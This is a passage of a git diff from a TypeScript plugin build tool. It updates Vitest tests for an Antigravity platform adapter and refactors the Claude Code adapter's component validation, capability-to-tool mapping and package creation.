允许已明确报告的 Agent/argumentHint/invocation 降级。 */ + const report = await run({ root, platform: antigravity({ strict: false }) }); /** 内部严格 Schema Fixture。 */ const schema = JSON.parse(await fs.readFile(path.join(goldenRoot, 'plugin.schema.json'), 'utf8')) as AntigravitySchemaFixture; - /** 实际生成的最小 Plugin Manifest 路径。 */ - const manifestPath = path.join(root, 'dist/antigravity/plugin/plugin.json'); - /** 实际生成且已通过 Platform Validator 的 Manifest。 */ - const manifest = JSON.parse(await fs.readFile(manifestPath, 'utf8')) as Record; + /** output 是 Antigravity 主 Plugin 根。 */ + const output = path.join(root, 'dist/antigravity/plugin'); + /** manifest 是 Core codec 物化并通过最终 validator 的对象。 */ + const manifest = JSON.parse(await fs.readFile(path.join(output, PLUGIN_MANIFEST_PATH), 'utf8')) as Record; - expect(result.success).toBe(true); + expect(report.success, JSON.stringify(report.diagnostics, null, 2)).toBe(true); expect(schema.additionalProperties).toBe(false); expect(Object.keys(manifest)).toEqual(schema.required); expect(Object.keys(manifest).every(field => Object.hasOwn(schema.properties, field))).toBe(true); - expect(await fs.readFile(manifestPath)).toEqual(await fs.readFile(path.join(goldenRoot, 'plugin.json'))); - await fs.access(path.join(root, 'dist/antigravity/plugin/skills/review/SKILL.md')); + await expect(fs.readFile(path.join(output, PLUGIN_MANIFEST_PATH))).resolves.toEqual( + await fs.readFile(path.join(goldenRoot, PLUGIN_MANIFEST_PATH)), + ); + await expect(fs.readFile(path.join(output, 'skills/review/references/checklist.md'), 'utf8')).resolves.toBe('Review checklist.\n'); + await expect(fs.readFile(path.join(output, 'skills/command-release/SKILL.md'), 'utf8')) + .resolves.toContain('the arguments supplied with this explicit invocation'); + await expect(fs.readFile(path.join(output, 'skills/agent-reviewer/SKILL.md'), 'utf8')) + .resolves.toContain('Intended model class: capable.'); + await expect(fs.access(path.join(output, 'commands'))).rejects.toThrow(); + await expect(fs.access(path.join(output, 'agents'))).rejects.toThrow(); + expect(report.compatibility).toEqual(expect.arrayContaining([ + expect.objectContaining({ subject: 'skill:review', capability: 'component', level: 'native' }), + expect.objectContaining({ + subject: 'command:release', capability: 'component', level: 'transform', + transformation: 'explicit-skill:command-release', + }), + expect.objectContaining({ + subject: 'agent:reviewer', capability: 'component', level: 'degraded', + transformation: 'guidance-skill:agent-reviewer', + }), + ])); + expect(report.metadata).toContainEqual(expect.objectContaining({ field: 'version', disposition: 'omitted' })); + }); + + it('rejects native/fallback Skill identity collisions before Package creation', async () => { + /** root 的 native Skill 占用 Command 最终生成的固定 ID。 */ + const root = await temporaryProject(); + await fs.mkdir(path.join(root, 'src/commands'), { recursive: true }); + await fs.mkdir(path.join(root, 'src/skills/command-release'), { recursive: true }); + await fs.writeFile(path.join(root, 'src/commands/release.md'), '---\ndescription: Release.\n---\nRelease.\n'); + await fs.writeFile(path.join(root, 'src/skills/command-release/SKILL.md'), '---\ndescription: Existing.\n---\nExisting.\n'); + /** report 必须在任何有歧义的 Skill Asset 签发前失败。 */ + const report = await run({ root, command: 'validate', commit: false }); + + expect(report.success).toBe(false); + expect(report.diagnostics).toContainEqual(expect.objectContaining({ + code: 'ANTIGRAVITY_GENERATED_SKILL_ID_COLLISION', platform: 'antigravity', phase: 'package', + })); + expect(report.packages).toEqual([]); }); - it('rejects a structurally invalid final manifest with the platform-specific code', async () => { - /** 候选物化使用的独占临时父目录。 */ - const root = await fs.mkdtemp(path.join(os.tmpdir(), 'acplugin-antigravity-validator-')); - temporaryRoots.push(root); - /** 真实 Platform Validator 与 Core Registry 共同验证的无效单元。 */ - const platform = antigravity(); - /** 为无效候选补齐 owner/hash 的 Core Registry。 */ - const units = new DeliveryUnitRegistry(new Map()); - /** 包含结构错误 Manifest 的已注册候选单元。 */ - const unit = await units.add(platform.id, { - id: 'plugin', - role: 'primary', - type: 'plugin', - artifacts: [bytesArtifact('plugin.json', stableJson({ name: '', extra: true }))], + it('accepts Hooks/MCP root contributions and rejects reserved path collisions', async () => { + /** validRoot 只需要一个原生 Skill 作为 Plugin host。 */ + const validRoot = await temporaryProject(); + await fs.mkdir(path.join(validRoot, 'src/skills/host'), { recursive: true }); + await fs.writeFile(path.join(validRoot, 'src/skills/host/SKILL.md'), '---\ndescription: Host.\n---\nHost.\n'); + /** hooks 和 mcp 通过固定根路径 add-only 交付。 */ + const hooks = rootContribution({ id: 'hooks-fixture', path: 'hooks.json', bytes: '{"hooks":{}}\n' }); + /** mcp 是独立 owner 的第二个根 Asset。 */ + const mcp = rootContribution({ id: 'mcp-fixture', path: 'mcp_config.json', bytes: '{"mcpServers":{}}\n' }); + /** valid 必须通过 Antigravity 最终 JSON 对象校验。 */ + const valid = await run({ root: validRoot, extensions: [hooks, mcp] }); + expect(valid.success, JSON.stringify(valid.diagnostics, null, 2)).toBe(true); + expect(valid.packages[0]?.assets).toEqual(expect.arrayContaining([ + expect.objectContaining({ path: 'hooks.json', owner: 'extension:hooks-fixture' }), + expect.objectContaining({ path: 'mcp_config.json', owner: 'extension:mcp-fixture' }), + ])); + + /** collisionRoot 的 Extension 试图占用 Platform Document 保留路径。 */ + const collisionRoot = await temporaryProject(); + await fs.mkdir(path.join(collisionRoot, 'src/skills/host'), { recursive: true }); + await fs.writeFile(path.join(collisionRoot, 'src/skills/host/SKILL.md'), '---\ndescription: Host.\n---\nHost.\n'); + /** collision 由 Core Package path Registry 拒绝,不依赖 Contributor 顺序。 */ + const collision = await run({ + root: collisionRoot, + command: 'validate', + extensions: [rootContribution({ id: 'reserved-path', path: 'plugin.json', bytes: '{}\n' })], + commit: false, + }); + expect(collision.success).toBe(false); + expect(collision.diagnostics).toContainEqual(expect.objectContaining({ + code: 'PLATFORM_CONTRIBUTION_FAILED', platform: 'antigravity', phase: 'contribute', + })); + }); + + it('rejects malformed merged Extension configuration at the candidate boundary', async () => { + /** root 包含合法 base Skill,错误只来自 Contribution wire bytes。 */ + const root = await temporaryProject(); + await fs.mkdir(path.join(root, 'src/skills/host'), { recursive: true }); + await fs.writeFile(path.join(root, 'src/skills/host/SKILL.md'), '---\ndescription: Host.\n---\nHost.\n'); + /** malformed hooks.json 是合法 JSON 但不是平台要求的对象。 */ + const malformed = rootContribution({ id: 'malformed-hooks', path: 'hooks.json', bytes: '[]\n' }); + /** report 必须由最终 Antigravity validator 产生稳定诊断。 */ + const report = await run({ root, command: 'validate', extensions: [malformed], commit: false }); + + expect(report.success).toBe(false); + expect(report.diagnostics).toContainEqual(expect.objectContaining({ + code: 'ANTIGRAVITY_HOOK_CONFIG_INVALID', platform: 'antigravity', phase: 'platform-validate', + })); + + /** mcpRoot 验证合法 sidecar 容器中的嵌套 Server 字段。 */ + const mcpRoot = await temporaryProject(); + /** invalidMcp 的 headers 不是 Antigravity 协议要求的字符串映射。 */ + const invalidMcp = rootContribution({ + id: 'malformed-mcp', path: 'mcp_config.json', + bytes: '{"mcpServers":{"docs":{"type":"http","url":"https://example.com/mcp","headers":42}}}\n', }); - /** Validator 返回的稳定平台诊断。 */ - const diagnostics: DiagnosticInput[] = []; - await withMaterializedDeliveryUnitCandidate(unit, candidate => platform.validateBundle!({ - command: 'build', - mode: 'production', - candidate, - /** 收集最终候选校验产生的平台诊断。 */ - reportDiagnostic: diagnostic => diagnostics.push(diagnostic), - }), root); - - expect(diagnostics).toContainEqual(expect.objectContaining({ code: 'ANTIGRAVITY_MANIFEST_INVALID' })); + /** mcpReport 必须由最终 Candidate validator 拒绝。 */ + const mcpReport = await run({ root: mcpRoot, command: 'validate', extensions: [invalidMcp], commit: false }); + expect(mcpReport.success).toBe(false); + expect(mcpReport.diagnostics).toContainEqual(expect.objectContaining({ + code: 'ANTIGRAVITY_MCP_HEADERS_INVALID', platform: 'antigravity', phase: 'platform-validate', + })); + }); + + it('reports unsupported Runtime without compiling or generating fake assets', async () => { + /** Runtime import 若进入 portable-node 必然失败,用于证明 capability 协商发生在 compile 前。 */ + const root = await temporaryProject(); + await fs.mkdir(path.join(root, 'src/skills/host'), { recursive: true }); + await fs.mkdir(path.join(root, 'src/runtime'), { recursive: true }); + await fs.writeFile(path.join(root, 'src/skills/host/SKILL.md'), '---\ndescription: Host.\n---\nHost.\n'); + await fs.writeFile(path.join(root, 'src/runtime/cli.ts'), 'import "missing-runtime-package";\n'); + /** relaxed 接受已报告的 Runtime capability 差异。 */ + const report = await run({ root, platform: antigravity({ strict: false }) }); + + expect(report.success, JSON.stringify(report.diagnostics, null, 2)).toBe(true); + expect(report.runtimes).toEqual([{ + id: 'cli', kind: 'executable', location: { path: 'src/runtime/cli.ts' }, built: false, + }]); + expect(report.compatibility).toContainEqual(expect.objectContaining({ + platform: 'antigravity', subject: 'runtime:cli', capability: 'node20-esm', level: 'unsupported', + })); + expect(report.packages.flatMap(unit => unit.assets).some(asset => asset.path.startsWith('runtime/'))).toBe(false); + }); + + it('rejects unknown factory and Component fields without raw escape hatches', async () => { + expect(() => antigravity({ manifest: {} } as never)).toThrow('Unknown Antigravity Platform option'); + /** root 的平台 namespace 包含未公开字段。 */ + const root = await temporaryProject(); + await fs.mkdir(path.join(root, 'src/skills/invalid'), { recursive: true }); + await fs.writeFile(path.join(root, 'src/skills/invalid/SKILL.md'), `--- +description: Invalid field. +platforms: + antigravity: + raw: true +--- +Do not build. +`); + /** report 应保留 canonical namespace fieldPath。 */ + const report = await run({ root, command: 'validate', commit: false }); + expect(report.diagnostics).toContainEqual(expect.objectContaining({ + code: 'ANTIGRAVITY_COMPONENT_FIELD_UNKNOWN', + fieldPath: ['platforms', 'antigravity', 'raw'], + })); }); }); diff --git a/packages/platforms/antigravity/vitest.config.ts b/packages/platforms/antigravity/vitest.config.ts index c816bb4..c8e4c90 100644 --- a/packages/platforms/antigravity/vitest.config.ts +++ b/packages/platforms/antigravity/vitest.config.ts @@ -4,9 +4,19 @@ import { defineConfig } from 'vitest/config'; /** Antigravity 单测让公开主包与私有 Core 共享同一源码品牌实例。 */ export default defineConfig({ resolve: { - alias: { - '@acplugin/core': fileURLToPath(new URL('../../core/src/index.ts', import.meta.url)), - '@tokenroll/acplugin': fileURLToPath(new URL('../../acplugin/src/index.ts', import.meta.url)), - }, + alias: [ + { + find: /^@tokenroll\/acplugin\/sdk$/, + replacement: fileURLToPath(new URL('../../acplugin/src/sdk.ts', import.meta.url)), + }, + { + find: /^@tokenroll\/acplugin$/, + replacement: fileURLToPath(new URL('../../acplugin/src/index.ts', import.meta.url)), + }, + { + find: /^@acplugin\/core$/, + replacement: fileURLToPath(new URL('../../core/src/index.ts', import.meta.url)), + }, + ], }, }); diff --git a/packages/platforms/claude-code/package.json b/packages/platforms/claude-code/package.json index c196991..f96d554 100644 --- a/packages/platforms/claude-code/package.json +++ b/packages/platforms/claude-code/package.json @@ -1,7 +1,7 @@ { "name": "@tokenroll/acplugin-platform-claude-code", - "version": "0.0.1-beta", - "description": "Claude Code Platform adapter for acplugin.", + "version": "0.0.2-beta", + "description": "Claude Code Platform integration for acplugin.", "type": "module", "license": "MIT", "homepage": "https://github.com/TokenRollAI/acplugin#claude-code-platform", diff --git a/packages/platforms/claude-code/src/components.ts b/packages/platforms/claude-code/src/components.ts index ed5da27..d8fba78 100644 --- a/packages/platforms/claude-code/src/components.ts +++ b/packages/platforms/claude-code/src/components.ts @@ -1,92 +1,46 @@ import { - bytesArtifact, markdownWithFrontmatter, type AgentCapability, - type ArtifactInput, - type Component, + type AssetService, + type CanonicalProject, + type CompatibilityInput, + type PackageAssetInput, type PlatformComponentValidationContext, - type PlatformGenerateContext, - type PluginProject, -} from '@tokenroll/acplugin'; - -/** Command 允许补充的 Claude Code 专属字段。 */ -const COMMAND_FIELDS = new Set(['allowedTools', 'model']); - -/** Skill 允许补充的 Claude Code 专属字段。 */ -const SKILL_FIELDS = new Set(['allowedTools', 'model', 'context', 'agent']); - -/** Agent 允许补充的 Claude Code 专属字段。 */ -const AGENT_FIELDS = new Set([ - 'tools', 'disallowedTools', 'effort', 'maxTurns', 'skills', 'memory', 'background', 'isolation', -]); - -/** Claude Code Agent 支持的推理投入等级。 */ -const EFFORT_LEVELS = new Set(['low', 'medium', 'high', 'xhigh', 'max']); - -/** Claude Code Agent 支持的持久记忆范围。 */ -const MEMORY_SCOPES = new Set(['user', 'project', 'local']); - -/** Claude Code Agent 当前支持的隔离模式。 */ -const ISOLATION_MODES = new Set(['worktree']); - -/** 不同 Component 类型对应的 Claude Code 专属字段集合。 */ -const FIELDS_BY_KIND = { - command: COMMAND_FIELDS, - skill: SKILL_FIELDS, - agent: AGENT_FIELDS, -} satisfies Record>; - -/** 把未知 JSON 字段收窄为普通只读对象。 */ -type UnknownFields = Readonly>; - -/** - * 按 UTF-16 code unit 比较 Claude Code 生成值,不依赖宿主 locale/ICU。 - * - * @param left 左侧字符串。 - * @param right 右侧字符串。 - * @returns 与 Array.sort 约定一致的 -1、0 或 1。 - */ -function compareCodeUnits(left: string, right: string): number { - if (left === right) - return 0; - return left < right ? -1 : 1; +} from '@tokenroll/acplugin/sdk'; + +/** 三类 Component 允许的 Claude Code 专属字段。 */ +const FIELDS = Object.freeze({ + command: new Set(['allowedTools', 'model']), + skill: new Set(['allowedTools', 'model', 'context', 'agent']), + agent: new Set(['tools', 'disallowedTools', 'effort', 'maxTurns', 'skills', 'memory', 'background', 'isolation']), +}); + +/** Claude Code Agent 支持的枚举值集合。 */ +const ENUMS = Object.freeze({ + effort: new Set(['low', 'medium', 'high', 'xhigh', 'max']), + memory: new Set(['user', 'project', 'local']), + isolation: new Set(['worktree']), +}); + +/** 一个 Claude Code base Package 的 Component 转换结果。 */ +export interface ClaudeComponentPackage { + readonly assets: readonly PackageAssetInput[]; + readonly compatibility: readonly CompatibilityInput[]; } -/** - * 判断值是否为非空字符串。 - * - * @param value 待检查的 Component 平台字段。 - * @returns 字段可以安全写入 Frontmatter 时返回 true。 - */ -function isNonEmptyString(value: unknown): value is string { +/** @returns 值是否为非空字符串。 */ +function nonEmpty(value: unknown): value is string { return typeof value === 'string' && value.trim().length > 0; } -/** - * 判断值是否为不含空项和重复项的字符串数组。 - * - * @param value 待检查的 Component 平台字段。 - * @returns 字段可以稳定写入 Frontmatter 时返回 true。 - */ -function isUniqueStringArray(value: unknown): value is readonly string[] { - return Array.isArray(value) - && value.every(isNonEmptyString) - && new Set(value).size === value.length; +/** @returns 值是否为唯一非空字符串数组。 */ +function stringArray(value: unknown): value is readonly string[] { + return Array.isArray(value) && value.every(nonEmpty) && new Set(value).size === value.length; } -/** - * 提交一个带完整字段路径的 Claude Code Component Schema 错误。 - * - * @param context Core 提供的字段校验上下文。 - * @param field 当前错误字段名。 - * @param message 面向作者的稳定错误信息。 - */ -function reportFieldError( - context: PlatformComponentValidationContext, - field: string, - message: string, -): void { - context.reportDiagnostic({ +/** 报告带 canonical Frontmatter 路径的 Claude Code 字段错误。 */ +function fieldError(context: PlatformComponentValidationContext, field: string, message: string): void { + context.diagnostics.report({ code: 'CLAUDE_COMPONENT_FIELD_INVALID', severity: 'error', message, @@ -94,211 +48,150 @@ function reportFieldError( }); } -/** - * 校验 Claude Code Component 专属字段,不允许 raw Frontmatter 逃逸。 - * - * @param context Core 规范化并冻结后的字段校验上下文。 - */ -export function validateClaudeComponentFields(context: PlatformComponentValidationContext): void { - /** 当前 Component 类型明确允许的字段名。 */ - const allowed = FIELDS_BY_KIND[context.component.kind]; - for (const field of Object.keys(context.fields)) { +/** 校验当前 Component 的 Claude Code namespace,不允许 raw Frontmatter。 */ +export function validateClaudeComponent(context: PlatformComponentValidationContext): void { + /** fields 是 Scanner 已复制冻结的当前 Platform namespace。 */ + const fields = context.component.platforms['claude-code'] ?? {}; + /** allowed 由 canonical Component kind 决定。 */ + const allowed = FIELDS[context.component.kind]; + for (const field of Object.keys(fields)) { if (!allowed.has(field)) { - context.reportDiagnostic({ - code: 'CLAUDE_COMPONENT_FIELD_UNKNOWN', - severity: 'error', + context.diagnostics.report({ + code: 'CLAUDE_COMPONENT_FIELD_UNKNOWN', severity: 'error', message: `Unknown Claude Code ${context.component.kind} field "${field}".`, fieldPath: ['platforms', 'claude-code', field], }); } } - - /** fields 是便于按字段名执行精确 Schema 校验的只读视图。 */ - const fields: UnknownFields = context.fields; - /** 数组型工具或 Skill 字段使用同一非空、去重规则。 */ - const arrayFields = ['allowedTools', 'tools', 'disallowedTools', 'skills']; - for (const field of arrayFields) { - if (fields[field] !== undefined && !isUniqueStringArray(fields[field])) - reportFieldError(context, field, `${field} must be an array of unique non-empty strings.`); + for (const field of ['allowedTools', 'tools', 'disallowedTools', 'skills']) { + if (fields[field] !== undefined && !stringArray(fields[field])) + fieldError(context, field, `${field} must contain unique non-empty strings.`); } - /** 普通字符串字段不能接收空字符串或其他 JSON 类型。 */ - const stringFields = ['model', 'agent']; - for (const field of stringFields) { - if (fields[field] !== undefined && !isNonEmptyString(fields[field])) - reportFieldError(context, field, `${field} must be a non-empty string.`); + for (const field of ['model', 'agent']) { + if (fields[field] !== undefined && !nonEmpty(fields[field])) + fieldError(context, field, `${field} must be a non-empty string.`); } if (fields.context !== undefined && fields.context !== 'fork') - reportFieldError(context, 'context', 'context must be "fork".'); - if (fields.effort !== undefined && !EFFORT_LEVELS.has(String(fields.effort))) - reportFieldError(context, 'effort', 'effort must be low, medium, high, xhigh, or max.'); + fieldError(context, 'context', 'context must be "fork".'); + for (const field of ['effort', 'memory', 'isolation'] as const) { + if (fields[field] !== undefined && !ENUMS[field].has(String(fields[field]))) + fieldError(context, field, `${field} is not supported by Claude Code.`); + } if (fields.maxTurns !== undefined && (!Number.isInteger(fields.maxTurns) || Number(fields.maxTurns) <= 0)) - reportFieldError(context, 'maxTurns', 'maxTurns must be a positive integer.'); - if (fields.memory !== undefined && !MEMORY_SCOPES.has(String(fields.memory))) - reportFieldError(context, 'memory', 'memory must be user, project, or local.'); + fieldError(context, 'maxTurns', 'maxTurns must be a positive integer.'); if (fields.background !== undefined && typeof fields.background !== 'boolean') - reportFieldError(context, 'background', 'background must be a boolean.'); - if (fields.isolation !== undefined && !ISOLATION_MODES.has(String(fields.isolation))) - reportFieldError(context, 'isolation', 'isolation must be "worktree".'); -} - -/** - * 读取 Component 中已由 Scanner 校验的 Claude Code 专属字段。 - * - * @param component 当前准备转换的规范 Component。 - * @returns 缺省为空对象的平台字段视图。 - */ -function claudeFields(component: Component): UnknownFields { - return component.platforms['claude-code'] ?? {}; + fieldError(context, 'background', 'background must be boolean.'); } -/** - * 把 Core 可移植 Agent 能力映射为 Claude Code 工具白名单。 - * - * @param capabilities Agent 声明的规范能力。 - * @returns 去重并稳定排序的 Claude Code 工具名称。 - */ -function claudeTools(capabilities: readonly AgentCapability[]): string[] { - /** 多种能力可能指向同一工具,因此先使用 Set 去重。 */ +/** @returns Agent portable capabilities 的保守 Claude Code tools 映射。 */ +function claudeTools(capabilities: readonly AgentCapability[]): readonly string[] { + /** result 去重多项 capability 指向的相同工具。 */ const result = new Set(); + /** mapping 固定 portable capability 到 Claude Code 原生工具的最小授权集合。 */ + const mapping: Record = { + 'filesystem:read': ['Read', 'Glob', 'Grep'], + 'filesystem:write': ['Write', 'Edit'], + 'search': ['Glob', 'Grep'], + 'shell': ['Bash'], + 'network': ['WebFetch'], + 'delegate': ['Agent'], + }; for (const capability of capabilities) { - for (const tool of ({ - 'filesystem:read': ['Read', 'Glob', 'Grep'], - 'filesystem:write': ['Write', 'Edit'], - 'search': ['Glob', 'Grep'], - 'shell': ['Bash'], - 'network': ['WebFetch'], - 'delegate': ['Agent'], - } satisfies Record)[capability]) + for (const tool of mapping[capability]) result.add(tool); } - // WebSearch 同时具有检索和联网语义,只有两项能力都声明时才能授予,避免扩大 Agent 权限。 if (capabilities.includes('search') && capabilities.includes('network')) result.add('WebSearch'); - return [...result].sort(compareCodeUnits); + return Object.freeze([...result].sort()); } -/** - * 把 Core 模型档位映射为 Claude Code Agent 稳定模型别名。 - * - * @param model 平台中立的模型档位。 - * @returns Claude Code Agent Frontmatter 使用的模型值。 - */ +/** @returns portable model 档位对应的 Claude Code 别名。 */ function claudeModel(model: 'inherit' | 'fast' | 'capable'): string { - if (model === 'fast') - return 'haiku'; - if (model === 'capable') - return 'sonnet'; - return 'inherit'; + return model === 'fast' ? 'haiku' : model === 'capable' ? 'sonnet' : 'inherit'; } -/** - * 把 Claude Code Frontmatter 的工具列表序列化为官方逗号分隔形式。 - * - * @param tools 已完成非空和去重校验的精确工具名列表。 - * @returns 非空列表的稳定字符串,空列表返回 undefined。 - */ -function toolList(tools: readonly string[] | undefined): string | undefined { - return tools === undefined || tools.length === 0 ? undefined : tools.join(', '); +/** @returns 非空工具数组的官方逗号分隔形式。 */ +function toolList(value: unknown): string | undefined { + return Array.isArray(value) && value.length > 0 ? value.join(', ') : undefined; } -/** - * 把规范 Commands、Skills 与 Agents 转换为 Claude Code 原生文件。 - * - * @param context Platform generateBundle 生命周期上下文。 - * @returns 确定排序且尚未进入 DeliveryUnit Registry 的 Artifact 输入。 - */ -export function generateComponentArtifacts(context: PlatformGenerateContext): ArtifactInput[] { - /** 当前 Platform 累计生成的 Component Artifact。 */ - const artifacts: ArtifactInput[] = []; - for (const command of context.project.commands) { - /** 当前 Command 已验证的 Claude Code 专属字段。 */ - const fields = claudeFields(command); - /** Claude Code Command Frontmatter 的结构化字段。 */ - const frontmatter: Record = { - 'description': command.description, - 'argument-hint': command.argumentHint, - 'allowed-tools': fields.allowedTools, - 'model': fields.model, - }; - artifacts.push(bytesArtifact( - `commands/${command.id}.md`, - markdownWithFrontmatter(frontmatter, command.body.replaceAll('{{arguments}}', '$ARGUMENTS')), - )); - context.reportCompatibility({ - subject: `command:${command.id}`, - capability: 'component', - level: 'native', - reason: 'Claude Code supports plugin Commands and native argument placeholders.', +/** 把 canonical Components 转为 Claude Code 原生 Asset 与完整兼容性。 */ +export async function createClaudeComponents(project: CanonicalProject, assets: AssetService): Promise { + /** output 只包含 Platform 自有生成 Asset 和已授予的 Skill auxiliary refs。 */ + const output: PackageAssetInput[] = []; + /** compatibility 对每个 canonical Component 精确覆盖 component tuple。 */ + const compatibility: CompatibilityInput[] = []; + for (const command of project.commands) { + /** fields 是已由 validateComponent 校验的平台 namespace。 */ + const fields = command.platforms['claude-code'] ?? {}; + /** asset 是由 Platform owner 签发的 Command Markdown。 */ + const asset = await assets.fromBytes({ + bytes: markdownWithFrontmatter({ + 'description': command.description, + 'argument-hint': command.argumentHint, + 'allowed-tools': fields.allowedTools, + 'model': fields.model, + }, command.body.replaceAll('{{arguments}}', '$ARGUMENTS')), + origin: { operation: 'component-command', subjects: [`command:${command.id}`] }, }); + output.push(Object.freeze({ path: `commands/${command.id}.md`, asset })); + compatibility.push(Object.freeze({ + subject: `command:${command.id}`, capability: 'component', level: 'native', + reason: 'Claude Code supports native plugin Commands.', + })); } - - for (const skill of context.project.skills) { - /** 当前 Skill 已验证的 Claude Code 专属字段。 */ - const fields = claudeFields(skill); - artifacts.push(bytesArtifact(`skills/${skill.id}/SKILL.md`, markdownWithFrontmatter({ - 'name': skill.id, - 'description': skill.description, - 'user-invocable': skill.invocation.user, - 'disable-model-invocation': !skill.invocation.model, - 'allowed-tools': fields.allowedTools, - 'model': fields.model, - 'context': fields.context, - 'agent': fields.agent, - }, skill.body))); - for (const auxiliary of skill.auxiliaryFiles) { - artifacts.push({ - path: `skills/${skill.id}/${auxiliary.path}`, - source: { type: 'file', path: auxiliary.sourcePath }, - mode: auxiliary.mode, - }); - } - context.reportCompatibility({ - subject: `skill:${skill.id}`, - capability: 'component', - level: 'native', - reason: 'Claude Code supports plugin Skills and both invocation switches.', + for (const skill of project.skills) { + /** fields 是已由 validateComponent 校验的平台 namespace。 */ + const fields = skill.platforms['claude-code'] ?? {}; + /** asset 是由 Platform owner 签发的 Skill 主文档。 */ + const asset = await assets.fromBytes({ + bytes: markdownWithFrontmatter({ + 'name': skill.id, + 'description': skill.description, + 'user-invocable': skill.invocation.user, + 'disable-model-invocation': !skill.invocation.model, + 'allowed-tools': fields.allowedTools, + 'model': fields.model, + 'context': fields.context, + 'agent': fields.agent, + }, skill.body), + origin: { operation: 'component-skill', subjects: [`skill:${skill.id}`] }, }); + output.push(Object.freeze({ path: `skills/${skill.id}/SKILL.md`, asset })); + for (const auxiliary of skill.auxiliaryFiles) + output.push(Object.freeze({ path: `skills/${skill.id}/${auxiliary.path}`, asset: auxiliary.asset })); + compatibility.push(Object.freeze({ + subject: `skill:${skill.id}`, capability: 'component', level: 'native', + reason: 'Claude Code supports native plugin Skills.', + })); } - - for (const agent of context.project.agents) { - /** 当前 Agent 已验证的 Claude Code 专属字段。 */ - const fields = claudeFields(agent); - /** 精确平台工具约束存在时优先于规范能力的保守映射。 */ - const tools = fields.tools as readonly string[] | undefined ?? claudeTools(agent.capabilities); - artifacts.push(bytesArtifact(`agents/${agent.id}.md`, markdownWithFrontmatter({ - name: agent.id, - description: agent.description, - model: claudeModel(agent.model), - tools: toolList(tools), - disallowedTools: toolList(fields.disallowedTools as readonly string[] | undefined), - effort: fields.effort, - maxTurns: fields.maxTurns, - skills: fields.skills, - memory: fields.memory, - background: fields.background, - isolation: fields.isolation, - }, agent.body))); - context.reportCompatibility({ - subject: `agent:${agent.id}`, - capability: 'component', - level: 'native', - reason: 'Claude Code supports plugin Agents, model aliases, and tool constraints.', + for (const agent of project.agents) { + /** fields 可显式覆盖 portable capability 的保守 tools 映射。 */ + const fields = agent.platforms['claude-code'] ?? {}; + /** tools 优先使用显式平台配置,否则保守映射 portable capabilities。 */ + const tools = fields.tools ?? claudeTools(agent.capabilities); + /** asset 是由 Platform owner 签发的 Agent Markdown。 */ + const asset = await assets.fromBytes({ + bytes: markdownWithFrontmatter({ + name: agent.id, + description: agent.description, + model: claudeModel(agent.model), + tools: toolList(tools), + disallowedTools: toolList(fields.disallowedTools), + effort: fields.effort, + maxTurns: fields.maxTurns, + skills: fields.skills, + memory: fields.memory, + background: fields.background, + isolation: fields.isolation, + }, agent.body), + origin: { operation: 'component-agent', subjects: [`agent:${agent.id}`] }, }); + output.push(Object.freeze({ path: `agents/${agent.id}.md`, asset })); + compatibility.push(Object.freeze({ + subject: `agent:${agent.id}`, capability: 'component', level: 'native', + reason: 'Claude Code supports native plugin Agents.', + })); } - return artifacts; -} - -/** - * 判断工程是否包含某类 Component,以便清单只声明实际目录。 - * - * @param project 已完成扫描和依赖图校验的规范工程。 - * @param kind 待检查的 Component 类型。 - * @returns 对应目录需要进入 Plugin 清单时返回 true。 - */ -export function hasComponents(project: PluginProject, kind: Component['kind']): boolean { - if (kind === 'command') - return project.commands.length > 0; - if (kind === 'skill') - return project.skills.length > 0; - return project.agents.length > 0; + return Object.freeze({ assets: Object.freeze(output), compatibility: Object.freeze(compatibility) }); } diff --git a/packages/platforms/claude-code/src/index.ts b/packages/platforms/claude-code/src/index.ts index e95867f..2a824bf 100644 --- a/packages/platforms/claude-code/src/index.ts +++ b/packages/platforms/claude-code/src/index.ts @@ -2,17 +2,15 @@ import { definePlatform, type AcpluginPlatform, type JsonObject, -} from '@tokenroll/acplugin'; -import { generateComponentArtifacts, validateClaudeComponentFields } from './components.js'; +} from '@tokenroll/acplugin/sdk'; +import { createClaudeComponents, validateClaudeComponent } from './components.js'; import { - createManifestDocument, - marketplaceArtifacts, - MARKETPLACE_MANIFEST_PATH, - serializeDocuments, + createMarketplaceAssets, + createPluginDocument, validatePlatformOptions, } from './manifest.js'; import type { ClaudeCodeMarketplaceOptions, ClaudeCodePlatformOptions } from './types.js'; -import { validateClaudeBundle } from './validator.js'; +import { validateClaudePackage } from './validator.js'; export type { ClaudeCodeMarketplaceOptions, @@ -22,65 +20,64 @@ export type { /** Claude Code Platform 的稳定开放 ID。 */ export const PLATFORM_ID = 'claude-code' as const; + /** Claude Code Platform 实现的 Core API 版本。 */ export const PLATFORM_API_VERSION = '1' as const; -/** - * 创建独立且可由 Core 品牌校验的 Claude Code Platform。 - * - * @param options 严格度覆盖和 Claude Code Marketplace 选项。 - * @returns Claude Code Plugin 交付实现。 - */ +/** 创建只通过 Package API 交付 Claude Code Plugin 的 Platform。 */ export function claudeCode(options: ClaudeCodePlatformOptions = {}): AcpluginPlatform { validatePlatformOptions(options); - /** strict 属于 Core 策略,其余字段作为 Platform 生命周期专属配置保存。 */ + /** strict 由 Core 解释,其余选项进入复制、深冻的 Platform session 数据。 */ const { strict, ...platformOptions } = options; return definePlatform({ id: PLATFORM_ID, apiVersion: PLATFORM_API_VERSION, deliveryType: 'plugin', + capabilities: { nodeRuntime: { target: 'node20', format: 'esm', root: 'plugin' } }, ...(strict === undefined ? {} : { strict }), options: platformOptions as unknown as JsonObject, - validateComponentFields: validateClaudeComponentFields, - /** prepare 创建 Platform 自有 Manifest,扩展点随后由 Core 接管。 */ - prepare: context => ({ documents: [createManifestDocument(context)], artifacts: [] }), - /** generateBundle 只读取完成 Adapter 合并后的不可变 Draft。 */ - generateBundle: (context) => { - /** Platform 转换后新增的 Commands、Skills 与 Agents。 */ - const componentArtifacts = generateComponentArtifacts(context); + /** 每次 BuildSession 独立捕获 Core 已复制的只读 Platform options。 */ + createSession({ options: sessionOptions }) { return { - id: 'plugin', - role: 'primary', - type: 'plugin', - artifacts: [ - ...context.artifacts, - ...componentArtifacts, - ...serializeDocuments(context.documents), - ], + validateComponent: validateClaudeComponent, + /** base Package 同时声明结构化 Document、Component Assets 和完整报告输入。 */ + async createPackage({ project, assets }) { + /** components 是 canonical Resource 到 Claude 原生文件的纯转换结果。 */ + const components = await createClaudeComponents(project, assets); + /** manifest 由 Core codec 负责序列化,Extension 只能填写两个声明点。 */ + const manifest = createPluginDocument({ + metadata: project.metadata, + options: sessionOptions, + components: { + commands: project.commands.length, + skills: project.skills.length, + agents: project.agents.length, + }, + }); + return { + 